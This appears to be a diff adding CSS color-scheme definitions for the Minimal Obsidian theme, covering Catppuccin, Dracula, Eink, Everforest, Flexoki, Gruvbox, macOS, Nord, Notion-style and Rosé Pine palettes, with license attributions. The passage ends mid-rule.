+.theme-light.minimal-catppuccin-light.minimal-light-white { + --bg3: #F0F1F5; + --ui1: #DCE0E8; +} + +.theme-light.minimal-catppuccin-light.minimal-light-contrast .titlebar, +.theme-light.minimal-catppuccin-light.minimal-light-contrast.minimal-status-off .status-bar, +.theme-light.minimal-catppuccin-light.minimal-light-contrast .workspace-drawer.mod-left, +.theme-light.minimal-catppuccin-light.minimal-light-contrast .mod-left-split, +.theme-light.minimal-catppuccin-light.minimal-light-contrast .workspace-ribbon.mod-left:not(.is-collapsed), +.theme-light.minimal-catppuccin-light.minimal-light-contrast .theme-dark, +.theme-dark.minimal-catppuccin-dark { + --base-h: 229; + --base-s: 19%; + --base-l: 23%; + --accent-h: 10; + --accent-s: 57%; + --accent-l: 88%; + --bg1: #303446; + --bg2: #242634; + --bg3: hsla(229,13%,52%,0.25); + --ui1: #41455A; + --ui2: #51576D; + --ui3: #626880; + --tx1: #C6D0F5; + --tx2: #A6ADCE; + --tx3: #848BA7; + --sp1: #242634; + --hl1: rgba(98,104,128,.5); + --hl2: rgba(223,142,29,.4); +} + +.theme-dark.minimal-catppuccin-dark.minimal-dark-black { + --ui1: #303446; + --hl2: rgba(223,142,29,.5); +} + +/* +Dracula +MIT License +Copyright (c) 2016 Dracula Theme +https://github.com/dracula/dracula-theme +*/ +.theme-dark.minimal-dracula-dark { + --color-red-rgb: 255,85,85; + --color-orange-rgb: 255,184,108; + --color-yellow-rgb: 241,250,140; + --color-green-rgb: 80,250,123; + --color-cyan-rgb: 139,233,253; + --color-blue-rgb: 98,114,164; + --color-purple-rgb: 189,147,249; + --color-pink-rgb: 255,121,198; + --color-red:#ff5555; + --color-orange:#ffb86c; + --color-yellow:#f1fa8c; + --color-green:#50fa7b; + --color-cyan:#8be9fd; + --color-blue:#6272a4; + --color-purple:#bd93f9; + --color-pink:#ff79c6; +} + +.theme-light.minimal-dracula-light.minimal-light-contrast .titlebar, +.theme-light.minimal-dracula-light.minimal-light-contrast.minimal-status-off .status-bar, +.theme-light.minimal-dracula-light.minimal-light-contrast .workspace-drawer.mod-left, +.theme-light.minimal-dracula-light.minimal-light-contrast .mod-left-split, +.theme-light.minimal-dracula-light.minimal-light-contrast .workspace-ribbon.mod-left:not(.is-collapsed), +.theme-light.minimal-dracula-light.minimal-light-contrast .theme-dark, +.theme-dark.minimal-dracula-dark { + --base-h: 232; + --base-s: 16%; + --base-l: 19%; + --accent-h: 265; + --accent-s: 89%; + --accent-l: 78%; + --bg1: #282a37; + --bg2: #21222c; + --ui2: #44475a; + --ui3: #6272a4; + --tx1: #f8f8f2; + --tx2: #949FBE; + --tx3: #6272a4; + --hl1:rgba(134, 140, 170, 0.3); + --hl2:rgba(189, 147, 249, 0.35); +} + +.theme-dark.minimal-dracula-dark.minimal-dark-black { + --ui1:#282a36; +} + +/* Eink */ +.theme-light.minimal-eink-light, +.theme-dark.minimal-eink-dark { + --collapse-icon-color: var(--text-normal); + --icon-color-active: var(--bg1); + --icon-color-hover: var(--bg1); + --icon-color-focused: var(--bg1); + --icon-opacity: 1; + --indentation-guide-color: var(--tx1); + --indentation-guide-color-active: var(--tx1); + --indentation-guide-width-active: 3px; + --interactive-normal: var(--bg1); + --input-shadow: 0 0 0 1px var(--tx1); + --link-unresolved-opacity: 1; + --link-unresolved-decoration-style: dashed; + --link-unresolved-decoration-color: var(--tx1); + --metadata-label-background-active: var(--bg1); + --metadata-input-background-active: var(--bg1); + --modal-border-color: var(--tx1); + --modal-border-width: 2px; + --prompt-border-color: var(--tx1); + --prompt-border-width: 2px; + --calendar-dot-active: var(--bg1); + --calendar-dot-today: var(--bg1); + --calendar-text-active: var(--bg1); + --tag-border-width: 1.25px; + --tag-background: transparent; + --tag-background-hover: transparent; + --tag-border-color: var(--tx1); + --tag-border-color-hover: var(--tx1); + --text-on-accent: var(--bg1); + --text-on-accent-inverted: var(--bg1); + --text-selection: var(--tx1); + --vault-profile-color: var(--tx1); + --nav-item-color-hover: var(--bg1); +} +.theme-light.minimal-eink-light button:hover, +.theme-light.minimal-eink-light ::selection, +.theme-dark.minimal-eink-dark button:hover, +.theme-dark.minimal-eink-dark ::selection { + color: var(--bg1); +} +.theme-light.minimal-eink-light .nav-files-container, +.theme-dark.minimal-eink-dark .nav-files-container { + --nav-item-color-active: var(--bg1); +} +.theme-light.minimal-eink-light .tree-item-self:hover, +.theme-dark.minimal-eink-dark .tree-item-self:hover { + --nav-collapse-icon-color: var(--bg1); +} +.theme-light.minimal-eink-light.is-focused .mod-active .workspace-tab-header.is-active .workspace-tab-header-inner-icon, .theme-light.minimal-eink-light.labeled-nav .mod-left-split .mod-top .workspace-tab-header.is-active, .theme-light.minimal-eink-light.tabs-modern, +.theme-dark.minimal-eink-dark.is-focused .mod-active .workspace-tab-header.is-active .workspace-tab-header-inner-icon, +.theme-dark.minimal-eink-dark.labeled-nav .mod-left-split .mod-top .workspace-tab-header.is-active, +.theme-dark.minimal-eink-dark.tabs-modern { + --minimal-tab-text-color-active: var(--bg1); + --tab-text-color-focused: var(--bg1); + --tab-text-color-focused-active-current: var(--bg1); +} +.theme-light.minimal-eink-light .setting-hotkey, +.theme-dark.minimal-eink-dark .setting-hotkey { + background-color: transparent; + border: 1px solid var(--tx1); +} +.theme-light.minimal-eink-light .suggestion-container, +.theme-dark.minimal-eink-dark .suggestion-container { + border-width: 3px; +} +.theme-light.minimal-eink-light .markdown-rendered code, +.theme-light.minimal-eink-light .cm-s-obsidian span.cm-inline-code, +.theme-dark.minimal-eink-dark .markdown-rendered code, +.theme-dark.minimal-eink-dark .cm-s-obsidian span.cm-inline-code { + font-weight: 600; +} +.theme-light.minimal-eink-light .tree-item-self:hover, +.theme-light.minimal-eink-light .tree-item-self.is-active, +.theme-dark.minimal-eink-dark .tree-item-self:hover, +.theme-dark.minimal-eink-dark .tree-item-self.is-active { + --icon-color: var(--bg1); +} +.theme-light.minimal-eink-light .metadata-property-icon, +.theme-dark.minimal-eink-dark .metadata-property-icon { + --icon-color-focused: var(--tx1); +} +.theme-light.minimal-eink-light .checkbox-container, +.theme-dark.minimal-eink-dark .checkbox-container { + background-color: var(--bg1); + box-shadow: 0 0 0 1px var(--tx1); + --toggle-thumb-color: var(--tx1); +} +.theme-light.minimal-eink-light .checkbox-container.is-enabled, +.theme-dark.minimal-eink-dark .checkbox-container.is-enabled { + background-color: var(--tx1); + --toggle-thumb-color: var(--bg1); +} +.theme-light.minimal-eink-light.tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) .workspace-tab-header.is-active, .theme-light.minimal-eink-light.labeled-nav .mod-left-split .mod-top .workspace-tab-header.is-active:not(:hover), +.theme-dark.minimal-eink-dark.tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) .workspace-tab-header.is-active, +.theme-dark.minimal-eink-dark.labeled-nav .mod-left-split .mod-top .workspace-tab-header.is-active:not(:hover) { + background-color: var(--tx1); +} +.theme-light.minimal-eink-light.labeled-nav .mod-left-split .mod-top .workspace-tab-header.is-active, .theme-light.minimal-eink-light.labeled-nav .mod-left-split .mod-top .workspace-tab-header:hover, .theme-light.minimal-eink-light.is-focused.tabs-modern .mod-active .workspace-tab-header.is-active .workspace-tab-header-inner-title, +.theme-light.minimal-eink-light #calendar-container .reset-button:hover, +.theme-light.minimal-eink-light .status-bar .plugin-sync:hover .sync-status-icon.mod-success, +.theme-light.minimal-eink-light .status-bar .plugin-sync:hover .sync-status-icon.mod-working, +.theme-light.minimal-eink-light .status-bar-item.mod-clickable:hover, +.theme-light.minimal-eink-light .text-icon-button:hover, +.theme-light.minimal-eink-light .community-item .suggestion-highlight, +.theme-light.minimal-eink-light .cm-s-obsidian span.cm-formatting-highlight, +.theme-light.minimal-eink-light .cm-s-obsidian span.cm-highlight, +.theme-light.minimal-eink-light .markdown-rendered mark, +.theme-light.minimal-eink-light .suggestion-item.is-selected, +.theme-light.minimal-eink-light .horizontal-tab-nav-item:hover, +.theme-light.minimal-eink-light .search-result-file-matched-text, +.theme-light.minimal-eink-light .vertical-tab-nav-item:hover, +.theme-light.minimal-eink-light .mod-root .workspace-tab-header-status-icon, +.theme-light.minimal-eink-light .mod-root .workspace-tab-header:hover, .theme-light.minimal-eink-light:not(.colorful-active) .horizontal-tab-nav-item.is-active, .theme-light.minimal-eink-light:not(.colorful-active) .vertical-tab-nav-item.is-active, +.theme-light.minimal-eink-light button.mod-cta, +.theme-light.minimal-eink-light .search-result-file-match:hover, +.theme-light.minimal-eink-light select:hover, .theme-light.minimal-eink-light .dropdown:hover, +.theme-dark.minimal-eink-dark.labeled-nav .mod-left-split .mod-top .workspace-tab-header.is-active, +.theme-dark.minimal-eink-dark.labeled-nav .mod-left-split .mod-top .workspace-tab-header:hover, +.theme-dark.minimal-eink-dark.is-focused.tabs-modern .mod-active .workspace-tab-header.is-active .workspace-tab-header-inner-title, +.theme-dark.minimal-eink-dark #calendar-container .reset-button:hover, +.theme-dark.minimal-eink-dark .status-bar .plugin-sync:hover .sync-status-icon.mod-success, +.theme-dark.minimal-eink-dark .status-bar .plugin-sync:hover .sync-status-icon.mod-working, +.theme-dark.minimal-eink-dark .status-bar-item.mod-clickable:hover, +.theme-dark.minimal-eink-dark .text-icon-button:hover, +.theme-dark.minimal-eink-dark .community-item .suggestion-highlight, +.theme-dark.minimal-eink-dark .cm-s-obsidian span.cm-formatting-highlight, +.theme-dark.minimal-eink-dark .cm-s-obsidian span.cm-highlight, +.theme-dark.minimal-eink-dark .markdown-rendered mark, +.theme-dark.minimal-eink-dark .suggestion-item.is-selected, +.theme-dark.minimal-eink-dark .horizontal-tab-nav-item:hover, +.theme-dark.minimal-eink-dark .search-result-file-matched-text, +.theme-dark.minimal-eink-dark .vertical-tab-nav-item:hover, +.theme-dark.minimal-eink-dark .mod-root .workspace-tab-header-status-icon, +.theme-dark.minimal-eink-dark .mod-root .workspace-tab-header:hover, +.theme-dark.minimal-eink-dark:not(.colorful-active) .horizontal-tab-nav-item.is-active, +.theme-dark.minimal-eink-dark:not(.colorful-active) .vertical-tab-nav-item.is-active, +.theme-dark.minimal-eink-dark button.mod-cta, +.theme-dark.minimal-eink-dark .search-result-file-match:hover, +.theme-dark.minimal-eink-dark select:hover, +.theme-dark.minimal-eink-dark .dropdown:hover { + color: var(--bg1); +} +.theme-light.minimal-eink-light .is-flashing, +.theme-dark.minimal-eink-dark .is-flashing { + --text-highlight-bg: #999999 ; +} +.theme-light.minimal-eink-light #calendar-container .day:hover, +.theme-dark.minimal-eink-dark #calendar-container .day:hover { + --color-dot: var(--bg1); +} + +.theme-light.minimal-eink-light { + --base-h:0; + --base-s:0%; + --base-l:100%; + --accent-h:0; + --accent-s:0%; + --accent-l:0%; + --ax3:#000000; + --bg1:#ffffff; + --bg2:#ffffff; + --bg3:#000000; + --ui1:#000000; + --ui2:#000000; + --ui3:#000000; + --tx1:#000000; + --tx2:#000000; + --tx3:#000000; + --hl1:#000000; + --hl2:#000000; + --sp1:#ffffff; + --text-on-accent:#ffffff; + --background-modifier-cover: rgba(235,235,235,1); +} + +.theme-light.minimal-eink-light.minimal-light-contrast .titlebar, +.theme-light.minimal-eink-light.minimal-light-contrast.minimal-status-off .status-bar, +.theme-light.minimal-eink-light.minimal-light-contrast .workspace-drawer.mod-left, +.theme-light.minimal-eink-light.minimal-light-contrast .mod-left-split, +.theme-light.minimal-eink-light.minimal-light-contrast .workspace-ribbon.mod-left:not(.is-collapsed), +.theme-light.minimal-eink-light.minimal-light-contrast .theme-dark, +.theme-dark.minimal-eink-dark { + --base-h:0; + --base-s:0%; + --base-l:0%; + --accent-h:0; + --accent-s:0%; + --accent-l:100%; + --ax3:#ffffff; + --bg1:#000000; + --bg2:#000000; + --bg3:#ffffff; + --ui1:#ffffff; + --ui2:#ffffff; + --ui3:#ffffff; + --tx1:#ffffff; + --tx2:#ffffff; + --tx3:#ffffff; + --hl1:#ffffff; + --hl2:#ffffff; + --sp1:#000000; + --background-modifier-cover: rgba(20,20,20,1); + --vault-profile-color: var(--tx1); + --vault-profile-color-hover: var(--bg1); + --nav-item-color-hover: var(--bg1); + --nav-item-color-active: var(--bg1); +} + +.theme-light.minimal-eink-light.minimal-light-tonal { + --bg3:#bbbbbb; + --ui1:#bbbbbb; + --tx3:#999999; +} + +.theme-dark.minimal-eink-dark.minimal-dark-tonal { + --bg3:#444444; + --ui1:#444444; + --tx3:#999999; +} + +.theme-light.minimal-eink-light.minimal-light-tonal, +.theme-dark.minimal-eink-dark.minimal-dark-tonal { + --hl2: var(--bg3); + --modal-border-color: var(--ui1); + --prompt-border-color: var(--ui1); + --tag-border-color: var(--ui1); + --text-selection: var(--bg3); + --icon-color-active: var(--tx1); + --icon-color-focused: var(--tx1); + --nav-item-color-active: var(--tx1); + --nav-item-color-hover: var(--tx1); + --minimal-tab-text-color-active: var(--tx1); +} +.theme-light.minimal-eink-light.minimal-light-tonal .is-flashing, +.theme-light.minimal-eink-light.minimal-light-tonal .search-result-file-matched-text, +.theme-dark.minimal-eink-dark.minimal-dark-tonal .is-flashing, +.theme-dark.minimal-eink-dark.minimal-dark-tonal .search-result-file-matched-text { + background-color: var(--bg3); + color: var(--tx1); +} +.theme-light.minimal-eink-light.minimal-light-tonal ::selection, +.theme-light.minimal-eink-light.minimal-light-tonal #calendar-container .reset-button:hover, .theme-light.minimal-eink-light.minimal-light-tonal:not(.colorful-active) .vertical-tab-nav-item:hover, .theme-light.minimal-eink-light.minimal-light-tonal:not(.colorful-active) .vertical-tab-nav-item.is-active, +.theme-dark.minimal-eink-dark.minimal-dark-tonal ::selection, +.theme-dark.minimal-eink-dark.minimal-dark-tonal #calendar-container .reset-button:hover, +.theme-dark.minimal-eink-dark.minimal-dark-tonal:not(.colorful-active) .vertical-tab-nav-item:hover, +.theme-dark.minimal-eink-dark.minimal-dark-tonal:not(.colorful-active) .vertical-tab-nav-item.is-active { + color: var(--tx1); +} + +/* +Everforest +MIT License +Copyright (c) 2019 sainnhe +https://github.com/sainnhe/everforest +*/ +.theme-light.minimal-everforest-light { + --color-red-rgb: 248,85,82; + --color-orange-rgb: 245,125,38; + --color-yellow-rgb: 223,160,0; + --color-green-rgb: 141,161,1; + --color-cyan-rgb: 53,167,124; + --color-blue-rgb: 56,148,196; + --color-purple-rgb: 223,105,186; + --color-pink-rgb: 223,105,186; + --color-red:#f85552; + --color-orange:#f57d26; + --color-yellow:#dfa000; + --color-green:#8da101; + --color-cyan:#35a77c; + --color-blue:#3795C5; + --color-purple:#df69ba; + --color-pink:#df69ba; + --base-h:44; + --base-s:87%; + --base-l:94%; + --accent-h:83; + --accent-s:36%; + --accent-l:53%; + --bg1:#fdf6e3; + --bg2:#efebd4; + --bg3:rgba(226,222,198,.5); + --ui1:#e0dcc7; + --ui2:#bec5b2; + --ui3:#bec5b2; + --tx1:#5C6A72; + --tx2:#829181; + --tx3:#a6b0a0; + --hl1:rgba(198,214,152,.4); + --hl2:rgba(222,179,51,.3); +} + +.theme-dark.minimal-everforest-dark { + --color-red-rgb: 230,126,128; + --color-orange-rgb: 230,152,117; + --color-yellow-rgb: 219,188,127; + --color-green-rgb: 167,192,128; + --color-cyan-rgb: 131,192,146; + --color-blue-rgb: 127,187,179; + --color-purple-rgb: 223,105,186; + --color-pink-rgb: 223,105,186; + --color-red:#e67e80; + --color-orange:#e69875; + --color-yellow:#dbbc7f; + --color-green:#a7c080; + --color-cyan:#83c092; + --color-blue:#7fbbb3; + --color-purple:#d699b6; + --color-pink:#d699b6; +} + +.theme-light.minimal-everforest-light.minimal-light-tonal { + --bg2:#fdf6e3; +} + +.theme-light.minimal-everforest-light.minimal-light-white { + --bg3:#f3efda; + --ui1:#edead5; +} + +.theme-light.minimal-everforest-light.minimal-light-contrast .titlebar, +.theme-light.minimal-everforest-light.minimal-light-contrast.minimal-status-off .status-bar, +.theme-light.minimal-everforest-light.minimal-light-contrast .workspace-drawer.mod-left, +.theme-light.minimal-everforest-light.minimal-light-contrast .mod-left-split, +.theme-light.minimal-everforest-light.minimal-light-contrast .workspace-ribbon.mod-left:not(.is-collapsed), +.theme-light.minimal-everforest-light.minimal-light-contrast .theme-dark, +.theme-dark.minimal-everforest-dark { + --base-h:203; + --base-s:15%; + --base-l:23%; + --accent-h:81; + --accent-s:34%; + --accent-l:63%; + --bg1:#2d353b; + --bg2:#232a2e; + --bg3:rgba(71,82,88,0.5); + --ui1:#475258; + --ui2:#4f585e; + --ui3:#525c62; + --tx1:#d3c6aa; + --tx2:#9da9a0; + --tx3:#7a8478; + --hl1:rgba(134,70,93,.5); + --hl2:rgba(147,185,96,.3); +} + +.theme-dark.minimal-everforest-dark.minimal-dark-black { + --hl1:rgba(134,70,93,.4); + --ui1:#2b3339; +} + +/* +Flexoki +MIT License +Copyright (c) 2023 Steph Ango +https://stephango.com/flexoki +*/ +.theme-light.minimal-flexoki-light { + --color-red-rgb: 175, 48, 41; + --color-orange-rgb: 188, 82, 21; + --color-yellow-rgb: 173, 131, 1; + --color-green-rgb: 102, 128, 11; + --color-cyan-rgb: 36, 131, 123; + --color-blue-rgb: 32, 94, 166; + --color-purple-rgb: 94, 64, 157; + --color-pink-rgb: 160, 47, 111; + --color-red: #AF3029; + --color-orange: #BC5215; + --color-yellow: #AD8301; + --color-green: #66800B; + --color-cyan: #24837B; + --color-blue: #205EA6; + --color-purple: #5E409D; + --color-pink: #A02F6F; + --base-h: 48; + --base-s: 100%; + --base-l: 97%; + --accent-h: 175; + --accent-s: 57%; + --accent-l: 33%; + --bg1: #FFFCF0; + --bg2: #F2F0E5; + --bg3: rgba(16,15,15,0.05); + --ui1: #E6E4D9; + --ui2: #DAD8CE; + --ui3: #CECDC3; + --tx1: #100F0F; + --tx2: #6F6E69; + --tx3: #B7B5AC; + --hl1: rgba(187,220,206,0.3); + --hl2: rgba(247,209,61,0.3); +} + +.theme-dark.minimal-flexoki-dark { + --color-red-rgb: 209, 77, 65; + --color-orange-rgb: 218, 112, 44; + --color-yellow-rgb:208, 162, 21; + --color-green-rgb: 135, 154, 57; + --color-cyan-rgb: 58, 169, 159; + --color-blue-rgb: 67, 133, 190; + --color-purple-rgb: 139, 126, 200; + --color-pink-rgb: 206, 93, 151; + --color-red: #D14D41; + --color-orange: #DA702C; + --color-yellow: #D0A215; + --color-green: #879A39; + --color-cyan: #3AA99F; + --color-blue: #4385BE; + --color-purple: #8B7EC8; + --color-pink: #CE5D97; +} + +.theme-light.minimal-flexoki-light.minimal-light-tonal { + --bg2: #FFFCF0; +} + +.theme-light.minimal-flexoki-light.minimal-light-contrast .titlebar, +.theme-light.minimal-flexoki-light.minimal-light-contrast.minimal-status-off .status-bar, +.theme-light.minimal-flexoki-light.minimal-light-contrast .workspace-drawer.mod-left, +.theme-light.minimal-flexoki-light.minimal-light-contrast .mod-left-split, +.theme-light.minimal-flexoki-light.minimal-light-contrast .workspace-ribbon.mod-left:not(.is-collapsed), +.theme-light.minimal-flexoki-light.minimal-light-contrast .theme-dark, +.theme-dark.minimal-flexoki-dark { + --base-h: 360; + --base-s: 3%; + --base-l: 6%; + --accent-h: 175; + --accent-s: 49%; + --accent-l: 45%; + --bg1: #100F0F; + --bg2: #1C1B1A; + --bg3: rgba(254,252,240,0.05); + --ui1: #282726; + --ui2: #343331; + --ui3: #403E3C; + --tx1: #CECDC3; + --tx2: #878580; + --tx3: #575653; + --hl1: rgba(30,95,91,0.3); + --hl2: rgba(213,159,17,0.3); +} + +.theme-dark.minimal-flexoki-dark.minimal-dark-black { + --ui1: #1C1B1A; +} + +/* +Gruvbox +MIT License +https://github.com/morhetz/gruvbox +*/ +.theme-dark.minimal-gruvbox-dark, +.theme-light.minimal-gruvbox-light { + --color-red-rgb: 204, 36, 29; + --color-orange-rgb: 214,93,14; + --color-yellow-rgb: 215,153,33; + --color-green-rgb: 152,151,26; + --color-cyan-rgb: 104,157,106; + --color-blue-rgb: 69,133,136; + --color-purple-rgb: 177,98,134; + --color-pink-rgb: 177,98,134; + --color-red:#cc241d; + --color-orange:#d65d0e; + --color-yellow:#d79921; + --color-green:#98971a; + --color-cyan:#689d6a; + --color-blue:#458588; + --color-purple:#b16286; + --color-pink:#b16286; +} + +.theme-light.minimal-gruvbox-light { + --base-h:49; + --base-s:92%; + --base-l:89%; + --accent-h:24; + --accent-s:88%; + --accent-l:45%; + --bg1:#fcf2c7; + --bg2:#f2e6bd; + --bg3:#ebd9b3; + --ui1:#ebdbb2; + --ui2:#d5c4a1; + --ui3:#bdae93; + --tx1:#282828; + --tx2:#7c7065; + --tx3:#a89a85; + --hl1:rgba(192,165,125,.3); + --hl2:rgba(215,153,33,.4); +} + +.theme-light.minimal-gruvbox-light.minimal-light-tonal { + --bg2:#fcf2c7; +} + +.theme-light.minimal-gruvbox-light.minimal-light-white { + --bg3:#faf5d7; + --ui1:#f2e6bd; +} + +.theme-light.minimal-gruvbox-light.minimal-light-contrast .titlebar, +.theme-light.minimal-gruvbox-light.minimal-light-contrast.minimal-status-off .status-bar, +.theme-light.minimal-gruvbox-light.minimal-light-contrast .workspace-drawer.mod-left, +.theme-light.minimal-gruvbox-light.minimal-light-contrast .mod-left-split, +.theme-light.minimal-gruvbox-light.minimal-light-contrast .workspace-ribbon.mod-left:not(.is-collapsed), +.theme-light.minimal-gruvbox-light.minimal-light-contrast .theme-dark, +.theme-dark.minimal-gruvbox-dark { + --accent-h:24; + --accent-s:88%; + --accent-l:45%; + --bg1:#282828; + --bg2:#1e2021; + --bg3:#3d3836; + --bg3:rgba(62,57,55,0.5); + --ui1:#3c3836; + --ui2:#504945; + --ui3:#665c54; + --tx1:#fbf1c7; + --tx2:#bdae93; + --tx3:#7c6f64; + --hl1:rgba(173,149,139,0.3); + --hl2:rgba(215,153,33,.4); +} + +.theme-dark.minimal-gruvbox-dark.minimal-dark-black { + --hl1:rgba(173,149,139,0.4); + --ui1:#282828; +} + +/* macOS */ +.theme-dark.minimal-macos-dark, +.theme-light.minimal-macos-light { + --color-red-rgb: 255,59,49; + --color-orange-rgb: 255,149,2; + --color-yellow-rgb: 255,204,0; + --color-green-rgb: 42,205,65; + --color-cyan-rgb: 2,199,190; + --color-blue-rgb: 2,122,255; + --color-purple-rgb: 176,81,222; + --color-pink-rgb: 255,46,85; + --color-red:#ff3b31; + --color-orange:#ff9502; + --color-yellow:#ffcc00; + --color-green:#2acd41; + --color-cyan:#02c7be; + --color-blue:#027aff; + --color-purple:#b051de; + --color-pink:#ff2e55; +} + +.theme-light.minimal-macos-light { + --base-h:106; + --base-s:0%; + --base-l:94%; + --accent-h:212; + --accent-s:100%; + --accent-l:50%; + --bg1:#ffffff; + --bg2:#f0f0f0; + --bg3:rgba(0,0,0,.1); + --ui1:#e7e7e7; + --tx1:#454545; + --tx2:#808080; + --tx3:#b0b0b0; + --hl1:#b3d7ff; +} + +.theme-light.minimal-macos-light.minimal-light-tonal { + --bg1:#f0f0f0; + --bg2:#f0f0f0; +} + +.theme-light.minimal-macos-light.minimal-light-contrast .titlebar, +.theme-light.minimal-macos-light.minimal-light-contrast.minimal-status-off .status-bar, +.theme-light.minimal-macos-light.minimal-light-contrast .workspace-drawer.mod-left, +.theme-light.minimal-macos-light.minimal-light-contrast .mod-left-split, +.theme-light.minimal-macos-light.minimal-light-contrast .workspace-ribbon.mod-left:not(.is-collapsed), +.theme-light.minimal-macos-light.minimal-light-contrast .theme-dark, +.theme-dark.minimal-macos-dark { + --base-h:106; + --base-s:0%; + --base-l:12%; + --accent-h:212; + --accent-s:100%; + --accent-l:50%; + --bg1:#1e1e1e; + --bg2:#282828; + --bg3:rgba(255,255,255,0.11); + --divider-color:#000000; + --tab-outline-color:#000000; + --ui1:#373737; + --ui2:#515151; + --ui3:#595959; + --tx1:#dcdcdc; + --tx2:#8c8c8c; + --tx3:#686868; + --hl1:rgba(98,169,252,0.5); + --sp1:#ffffff; +} + +.theme-dark.minimal-macos-dark.minimal-dark-black { + --divider-color:#1e1e1e; + --tab-outline-color:#1e1e1e; +} + +/* +Nord +MIT License +Copyright (c) 2016-present Sven Greb (https://www.svengreb.de) +https://github.com/nordtheme/nord +*/ +.theme-dark.minimal-nord-dark, +.theme-light.minimal-nord-light { + --color-red-rgb: 191,97,106; + --color-orange-rgb: 208,138,112; + --color-yellow-rgb: 235,203,139; + --color-green-rgb: 163,190,140; + --color-cyan-rgb: 136,192,208; + --color-blue-rgb: 129,161,193; + --color-purple-rgb: 180,142,173; + --color-pink-rgb: 180,142,173; + --color-red:#BF616A; + --color-orange:#D08770; + --color-yellow:#EBCB8B; + --color-green:#A3BE8C; + --color-cyan:#88C0D0; + --color-blue:#81A1C1; + --color-purple:#B48EAD; + --color-pink:#B48EAD; +} + +.theme-light.minimal-nord-light { + --base-h:221; + --base-s:27%; + --base-l:94%; + --accent-h:213; + --accent-s:32%; + --accent-l:52%; + --bg1:#ffffff; + --bg2:#eceff4; + --bg3:rgba(157,174,206,0.25); + --ui1:#d8dee9; + --ui2:#BBCADC; + --ui3:#81a1c1; + --tx1:#2e3440; + --tx2:#7D8697; + --tx3:#ADB1B8; + --hl2:rgba(208, 135, 112, 0.35); +} + +.theme-light.minimal-nord-light.minimal-light-contrast .titlebar, +.theme-light.minimal-nord-light.minimal-light-contrast.minimal-status-off .status-bar, +.theme-light.minimal-nord-light.minimal-light-contrast .workspace-drawer.mod-left, +.theme-light.minimal-nord-light.minimal-light-contrast .mod-left-split, +.theme-light.minimal-nord-light.minimal-light-contrast .workspace-ribbon.mod-left:not(.is-collapsed), +.theme-light.minimal-nord-light.minimal-light-contrast .theme-dark, +.theme-dark.minimal-nord-dark { + --base-h:220; + --base-s:16%; + --base-l:22%; + --accent-h:213; + --accent-s:32%; + --accent-l:52%; + --bg1:#2e3440; + --bg2:#3b4252; + --bg3:rgba(135,152,190,0.15); + --ui1:#434c5e; + --ui2:#58647b; + --ui3:#58647b; + --tx1:#d8dee9; + --tx2:#9eafcc; + --tx3:#4c566a; + --hl1:rgba(129,142,180,0.3); + --hl2:rgba(208, 135, 112, 0.35); +} + +.theme-dark.minimal-nord-dark.minimal-dark-black { + --ui1:#2e3440; +} + +/* Sky color scheme, inspired by Notion */ +.theme-light.minimal-notion-light { + --base-h:39; + --base-s:18%; + --base-d:96%; + --accent-h:197; + --accent-s:71%; + --accent-l:52%; + --bg2:#f7f6f4; + --bg3:#e8e7e4; + --ui1:#ededec; + --ui2:#dbdbda; + --ui3:#aaa9a5; + --tx1:#37352f; + --tx2:#72706c; + --tx3:#aaa9a5; + --hl1:rgba(131,201,229,0.3); +} + +.theme-light.minimal-notion-light.minimal-light-contrast .titlebar, +.theme-light.minimal-notion-light.minimal-light-contrast.minimal-status-off .status-bar, +.theme-light.minimal-notion-light.minimal-light-contrast .workspace-drawer.mod-left, +.theme-light.minimal-notion-light.minimal-light-contrast .mod-left-split, +.theme-light.minimal-notion-light.minimal-light-contrast .workspace-ribbon.mod-left:not(.is-collapsed), +.theme-light.minimal-notion-light.minimal-light-contrast .theme-dark, +.theme-dark.minimal-notion-dark { + --base-h:203; + --base-s:8%; + --base-d:20%; + --accent-h:197; + --accent-s:71%; + --accent-l:52%; + --bg1:#2f3437; + --bg2:#373c3f; + --bg3:#4b5053; + --ui1:#3e4245; + --ui2:#585d5f; + --ui3:#585d5f; + --tx1:#ebebeb; + --tx2:#909295; + --tx3:#585d5f; + --hl1:rgba(57,134,164,0.3); +} + +.theme-dark.minimal-notion-dark.minimal-dark-black { + --base-d:5%; + --bg3:#232729; + --ui1:#2f3437; +} + +/* +Rosé Pine +MIT License +Copyright (c) 2023 Rosé Pine +https://github.com/rose-pine/rose-pine-theme +*/ +.theme-light.minimal-rose-pine-light { + --color-red-rgb: 180,99,122; + --color-orange-rgb: 215,130,125; + --color-yellow-rgb: 234,157,53; + --color-green-rgb: 40,105,131; + --color-cyan-rgb: 87,147,159; + --color-blue-rgb: 87,147,159; + --color-purple-rgb: 144,122,169; + --color-pink-rgb: 144,122,169; + --color-red: #b4637a; + --color-orange: #d7827e; + --color-yellow: #ea9d34; + --color-green: #286983; + --color-cyan: #56949f; + --color-blue: #56949f; + --color-purple: #907aa9; + --color-pink: #907aa9; + --base-h: 32; + --base-s: 57%; + --base-l: 95%; + --accent-h: 3; + --accent-s: 53%; + --accent-l: 67%; + --bg1: #fffaf3; + --bg2: #faf4ed; + --bg3: rgba(233,223,218,0.5); + --ui1: #EAE3E1; + --ui2: #dfdad9; + --ui3: #cecacd; + --tx1: #575279; + --tx2: #797593; + --tx3: #9893a5; + --hl1: rgba(191,180,181,0.35); +} + +.theme-dark.minimal-rose-pine-dark { + --color-red-rgb: 234,111,146; + --color-orange-rgb: 233,155,151; + --color-yellow-rgb: 246,193,119; + --color-green-rgb: 47,116,143; + --color-cyan-rgb: 157,207,215; + --color-blue-rgb: 157,207,215; + --color-purple-rgb: 196,167,231; + --color-pink-rgb: 196,167,231; + --color-red: #eb6f92; + --color-orange: #ea9a97; + --color-yellow: #f6c177; + --color-green: #31748f; + --color-cyan: #9ccfd8; + --color-blue: #9ccfd8; + --color-purple: #c4a7e7; + --color-pink: #c4a7e7; +} + +.theme-light.minimal-rose-pine-light.minimal-light-contrast .titlebar, +.theme-light.minimal-rose-pine-light.minimal-light-contrast.minimal-status-off .status-bar, +.theme-light.minimal-rose-pine-light.minimal-light-contrast .workspace-drawer.mod-left, +.theme-light.minimal-rose-pine-light.minimal-light-contrast .mod-left-split, +.theme-light.minimal-rose-pine-light.minimal-light-contrast .workspace-ribbon.mod-left:not(.is-collapsed), +.theme-light.minimal-rose-pine-light.minimal-light-contrast .theme-dark, +.theme-dark.minimal-rose-pine-dark { + --base-h: 247; + --base-s: 23%; + --base-l: 15%; + --accent-h: 2; + --accent-s: 55%; + --accent-l: 83%; + 